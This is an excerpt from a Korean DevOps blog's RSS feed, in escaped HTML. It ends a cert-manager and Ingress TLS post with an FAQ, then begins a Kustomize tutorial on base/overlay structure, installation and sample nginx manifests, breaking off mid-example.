      &lt;span class=&quot;token key atrule&quot;&gt;prune&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;selfHeal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;syncOptions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; CreateNamespace=true&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ClusterIssuer는 별도 Git 레포에 YAML로 두고, &lt;strong&gt;App of Apps&lt;/strong&gt; 패턴으로 같이 관리. &lt;a href=&quot;/argocd-gitops-guide/&quot;&gt;ArgoCD 편&lt;/a&gt;의 패턴 그대로 재사용 가능.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. ingress-nginx 말고 다른 Controller를 써야 할 때는?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Traefik&lt;/strong&gt;: 자동 서비스 디스커버리가 매력적. 가벼운 setup에 적합.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Istio / Envoy Gateway&lt;/strong&gt;: 서비스 메시가 이미 있으면 그 안에서 처리.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS ALB Ingress Controller&lt;/strong&gt;: AWS 환경에서 &lt;strong&gt;ALB로 직접&lt;/strong&gt; 노출하고 싶을 때.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Tunnel&lt;/strong&gt;: 퍼블릭 IP 노출 없이 Ingress 기능 흉내.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;입문은 ingress-nginx.&lt;/strong&gt; 생태계·문서·annotation 레퍼런스가 가장 풍부.&lt;/p&gt;
&lt;h3&gt;Q. cert-manager와 Gateway API는 어떻게 다르나요?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://gateway-api.sigs.k8s.io/&quot;&gt;Gateway API&lt;/a&gt;는 Ingress의 &lt;strong&gt;차세대 표준&lt;/strong&gt;(K8S SIG). cert-manager는 현재 Gateway API와도 &lt;strong&gt;통합&lt;/strong&gt; 지원 (&lt;code class=&quot;language-text&quot;&gt;gateway&lt;/code&gt; solver). 당분간 Ingress가 주력이지만, 2026~2027년경 전환기가 올 수 있습니다. 신규 프로젝트에서 Gateway API로 시작해보는 것도 좋은 선택.&lt;/p&gt;
&lt;h3&gt;Q. Let&apos;s Encrypt가 중단되면 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;cert-manager는 &lt;strong&gt;여러 Issuer를 병행 운영&lt;/strong&gt; 가능. ClusterIssuer를 &lt;strong&gt;ZeroSSL·Google Trust Services·사설 CA&lt;/strong&gt; 등으로 바꾸기만 하면 됨. 인증서 프로바이더 락인 없음.&lt;/p&gt;
&lt;h3&gt;Q. 사내 CA로도 가능한가요?&lt;/h3&gt;
&lt;p&gt;네. &lt;code class=&quot;language-text&quot;&gt;ClusterIssuer&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;ca&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;vault&lt;/code&gt; solver를 쓰면 사내 PKI·HashiCorp Vault와 연동되어 &lt;strong&gt;내부 도메인 인증서도 자동화&lt;/strong&gt;됩니다.&lt;/p&gt;
&lt;h3&gt;Q. 한 Secret을 여러 네임스페이스에서 공유하려면?&lt;/h3&gt;
&lt;p&gt;cert-manager의 &lt;code class=&quot;language-text&quot;&gt;kubectl-cert-manager&lt;/code&gt; 플러그인 또는 &lt;a href=&quot;https://github.com/emberstack/kubernetes-reflector&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;reflector&lt;/code&gt;&lt;/a&gt; 컨트롤러로 Secret 자동 복제. 와일드카드 인증서 한 개를 전사에 뿌릴 때 자주 씀.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;HTTPS가 수동 관리 업무에서 &lt;strong&gt;인프라 기본값&lt;/strong&gt;으로 내려옵니다. 한 번 셋업하면 &lt;strong&gt;인증서를 다시 신경 쓸 일이 없습니다&lt;/strong&gt; — 이 경험 자체가 가치의 핵심.&lt;/p&gt;
&lt;p&gt;오늘 정리 핵심:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ingress는 &lt;strong&gt;규칙&lt;/strong&gt;, Ingress Controller는 &lt;strong&gt;수행자&lt;/strong&gt; — 둘 다 필요&lt;/li&gt;
&lt;li&gt;cert-manager = &lt;strong&gt;Issuer·ClusterIssuer·Certificate&lt;/strong&gt; 3개 CRD&lt;/li&gt;
&lt;li&gt;Let&apos;s Encrypt는 &lt;strong&gt;staging으로 먼저 테스트&lt;/strong&gt;, prod는 확인 후&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP-01&lt;/strong&gt;은 간단, &lt;strong&gt;DNS-01&lt;/strong&gt;은 와일드카드·내부망 대응&lt;/li&gt;
&lt;li&gt;Ingress에 &lt;strong&gt;annotation + tls 섹션&lt;/strong&gt;이면 자동 발급·갱신&lt;/li&gt;
&lt;li&gt;ArgoCD와 묶으면 인프라 재현까지 GitOps화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;시리즈 다음 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Prometheus + Grafana 모니터링 스택&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD ApplicationSet 심화 — 멀티 클러스터 대규모 운영&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Gateway API 전환기 — 언제·어떻게 바꿀까&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; K8S 네트워크 정책(NetworkPolicy)과 보안 레이어링&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분의 클러스터에서는 인증서 갱신을 어떻게 관리하고 계신가요? 수동·스크립트·cert-manager — 어느 단계에 계신지 댓글로 공유해주세요.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kustomize 완벽 가이드 — 템플릿 없이 YAML만으로 환경별 배포 관리하기]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Helm 템플릿 문법 괄호 속에서 버벅이는 게 지친다. 그냥 YAML…]]></description><link>https://blog.javapark.kr/kustomize-overlay-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/kustomize-overlay-guide/</guid><pubDate>Tue, 21 Apr 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Helm 템플릿 문법 괄호 속에서 버벅이는 게 지친다. 그냥 YAML 몇 줄만 바꿔서 환경별로 배포하고 싶다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. &lt;code class=&quot;language-text&quot;&gt;{{- if .Values.ingress.enabled }}&lt;/code&gt; 같은 템플릿 안에서 들여쓰기 한 칸 틀리면 렌더링 전체가 깨지고, 디버깅은 &lt;code class=&quot;language-text&quot;&gt;helm template&lt;/code&gt;을 수십 번 돌려보며 YAML을 다시 맞추는 작업이 됩니다. 소규모 팀·단일 앱에서는 이게 &lt;strong&gt;배보다 배꼽이 큰&lt;/strong&gt; 느낌이 들기 시작합니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Kustomize는 템플릿 문법 없이 &quot;원본 YAML을 그대로 두고, 환경별 변경점만 patch로 쌓아 올리는&quot; 매니페스트 관리 도구입니다.&lt;/strong&gt; Go 템플릿을 배울 필요가 없고, &lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt;에 &lt;strong&gt;이미 내장&lt;/strong&gt;되어 있어 별도 설치가 필요 없습니다. &lt;a href=&quot;/helm-package-management/&quot;&gt;Helm 편&lt;/a&gt;에서 예고한 대로, 오늘은 이 kustomize의 구조·변환기·patch 전략·Helm과의 비교·조합 패턴·ArgoCD 연동까지 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이전 편을 안 보셨다면 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt; · &lt;a href=&quot;/kubectl-essential-commands/&quot;&gt;kubectl 실전 명령어&lt;/a&gt; · &lt;a href=&quot;/k9s-essential-guide/&quot;&gt;k9s 완벽 가이드&lt;/a&gt; · &lt;a href=&quot;/helm-package-management/&quot;&gt;Helm 완벽 가이드&lt;/a&gt; · &lt;a href=&quot;/argocd-gitops-guide/&quot;&gt;ArgoCD GitOps 가이드&lt;/a&gt;부터 읽으시면 흐름이 이어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Kustomize란? — 한 줄 정의&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://kustomize.io/&quot;&gt;Kustomize&lt;/a&gt;는 &lt;strong&gt;K8S 매니페스트를 &quot;원본(base) + 변경점(overlay)&quot;으로 분리해서 관리&lt;/strong&gt;하는 선언적 변환 도구입니다. K8S SIG(Special Interest Group)가 유지보수하며, &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt; 1.14+부터 내장&lt;/strong&gt;되어 있습니다.&lt;/p&gt;
&lt;p&gt;핵심 철학:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;철학&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Template-free&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Go 템플릿·변수 치환 없음. 순수 YAML만 다룸&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Composition-based&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;변환·patch를 &lt;strong&gt;쌓아 올려&lt;/strong&gt; 최종 YAML 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Declarative all the way&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kustomization.yaml&lt;/code&gt; 파일 자체가 선언형 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reusable bases&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;공통 &lt;code class=&quot;language-text&quot;&gt;base&lt;/code&gt;를 여러 환경 overlay가 재사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;비유: &lt;strong&gt;Git의 diff/patch 모델&lt;/strong&gt;을 K8S YAML에 적용한 것. 원본을 수정하지 않고 &lt;strong&gt;patch 파일을 얹는&lt;/strong&gt; 방식이라 base가 항상 &quot;순수&quot;하게 유지됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3대 핵심 개념 — Base, Overlay, Kustomization&lt;/h2&gt;
&lt;p&gt;Kustomize의 모든 것은 이 세 단어로 정리됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/aefbf4ba38a4fc5e3c881e8843b00182/64756/diagram-structure.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNklEQVR42h2SaW6kMBBGucEkNItZzGaD2YzB2KzuLemeSdKRcoW5/ynGPdJT/Sk9VZW+Mn5BZlbnQ6VMIk2yBc2x6E6NuDfjrZW/G3kf9sewPULdKhWs9pBo1iBf/Xw2XiL20p9fqTr0m9kowG7JcKvkn2r+bNcH3R7d/k2Xr7ReSCuzesmqOSmnhEgfT8ZLzPL7d7LfX9vZRAwvP/3nX4coW1Mot7p4zcVGczeqn5/vdtjKVmiKevSz8SkjvmFxssh8yMdofM/5u51K0FxT8RWQBRAVlHvVzct+zojwY6YJU+Zl3DBjZmEe05NLZhPzoL/GlTrAAdTXfPzwMulks0/2suGklz7ibkBtv/UiCtLBMJPeZid3eLfbDdSzW+8m5IdodMuzjRY7lg5agvJYtaLpZJhyEFIAqR93btIbVsbBePSYctnmtSuolJXOdjo55OzgzUqkixev2PRkxgREwok6R0+G1Il7w0lHhy7aBP3u1SumH4heYblH9fkZD1EAry6aMzKQmic5hxmDSQdT5kAtI/HfVO6gglZF1ZudCieVLlp01SvY2eyiKSo4rjguNaMGFfwpu1gAtmoZDCpsFSQXfbAVy0MkTDi+hvwQCzsRYcZwwVA+oJwjzDPUO2FvADy5dAXd5rHd7xQcLvF2D+ZrMr2lyy2Rbwm/wu6U9ae4XUDO/Vx4uQBYWOFg+MUS1Pord9geIT3C7hgNp4CpkO4h1YfsfrV45RMnn61MWumk0RFYIf8HdVl1rpMjO5YAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/aefbf4ba38a4fc5e3c881e8843b00182/a1b3b/diagram-structure.webp 215w,
/static/aefbf4ba38a4fc5e3c881e8843b00182/fc700/diagram-structure.webp 430w,
/static/aefbf4ba38a4fc5e3c881e8843b00182/521f7/diagram-structure.webp 860w,
/static/aefbf4ba38a4fc5e3c881e8843b00182/cbd37/diagram-structure.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/aefbf4ba38a4fc5e3c881e8843b00182/f7886/diagram-structure.png 215w,
/static/aefbf4ba38a4fc5e3c881e8843b00182/bc750/diagram-structure.png 430w,
/static/aefbf4ba38a4fc5e3c881e8843b00182/3e3fe/diagram-structure.png 860w,
/static/aefbf4ba38a4fc5e3c881e8843b00182/64756/diagram-structure.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/aefbf4ba38a4fc5e3c881e8843b00182/3e3fe/diagram-structure.png&apos; alt=&apos;Kustomize Base + Overlay 구조도 — base 원본은 그대로 두고 overlay가 patch로 환경별 결과 생성&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Kustomize Base + Overlay 구조도 — base 원본은 그대로 두고 overlay가 patch로 환경별 결과 생성&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;개념&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Base&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;공통 매니페스트 묶음 (변경 없는 원본 YAML 모음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overlay&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;환경별 변경점 묶음 (base를 참조하고 그 위에 patch 적용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kustomization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;kustomization.yaml&lt;/code&gt; — base든 overlay든 &lt;strong&gt;각 디렉토리의 설계도&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;전형적인 디렉토리 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;my-app/
├── base/
│   ├── deployment.yaml
│   ├── service.yaml
│   ├── configmap.yaml
│   └── kustomization.yaml       ← base 설계도
└── overlays/
    ├── dev/
    │   ├── patch.yaml
    │   └── kustomization.yaml   ← base를 참조 + dev patch
    ├── staging/
    │   ├── patch.yaml
    │   └── kustomization.yaml
    └── prod/
        ├── patch.yaml
        └── kustomization.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;핵심 규칙&lt;/strong&gt;: base는 &lt;strong&gt;절대&lt;/strong&gt; 환경별 정보를 가지지 않습니다. &lt;code class=&quot;language-text&quot;&gt;replicas: 1&lt;/code&gt; 같은 기본값도 overlay가 덮어씁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;설치 — &lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt;만 있으면 끝&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl apply -k &amp;lt;dir&gt;&lt;/code&gt; 로 바로 사용 가능. 별도 설치 불필요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 현재 kubectl 버전 확인 (1.14+ 권장)&lt;/span&gt;
kubectl version &lt;span class=&quot;token parameter variable&quot;&gt;--client&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# kustomize 렌더링만 (apply 없이)&lt;/span&gt;
kubectl kustomize overlays/prod

&lt;span class=&quot;token comment&quot;&gt;# 렌더링 + 적용&lt;/span&gt;
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-k&lt;/span&gt; overlays/prod&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;더 최신 기능(Helm 통합·Component 등)이 필요하면 &lt;strong&gt;standalone CLI&lt;/strong&gt; 설치:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# macOS&lt;/span&gt;
brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; kustomize

&lt;span class=&quot;token comment&quot;&gt;# Linux / Windows&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 확인&lt;/span&gt;
kustomize version&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;kubectl&lt;/code&gt; 내장 버전은 보통 최신보다 뒤처집니다. 신기능 쓰려면 standalone &lt;code class=&quot;language-text&quot;&gt;kustomize&lt;/code&gt; CLI 권장.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;실전 10분 — nginx를 base + 2개 overlay로 분리&lt;/h2&gt;
&lt;p&gt;Helm 편에서 만들었던 nginx 앱을, 이번엔 kustomize로 똑같이 구성해보겠습니다.&lt;/p&gt;
&lt;h3&gt;1단계: Base 만들기&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;base/deployment.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;replicas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;matchLabels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
  &lt;span class=&quot;token key atrule&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
          &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1.27&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;containerPort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;base/service.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Service
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
  &lt;span class=&quot;token key atrule&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;targetPort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;base/kustomization.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; kustomize.config.k8s.io/v1beta1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Kustomization

&lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; deployment.yaml
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; service.yaml

&lt;span class=&quot;token key atrule&quot;&gt;commonLabels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;app.kubernetes.io/part-of&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2단계: Dev overlay&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;overlays/dev/kustomization.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; kustomize.config.k8s.io/v1beta1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Kustomization

&lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev
&lt;span class=&quot;token key atrule&quot;&gt;namePrefix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; ../../base

&lt;span class=&quot;token key atrule&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
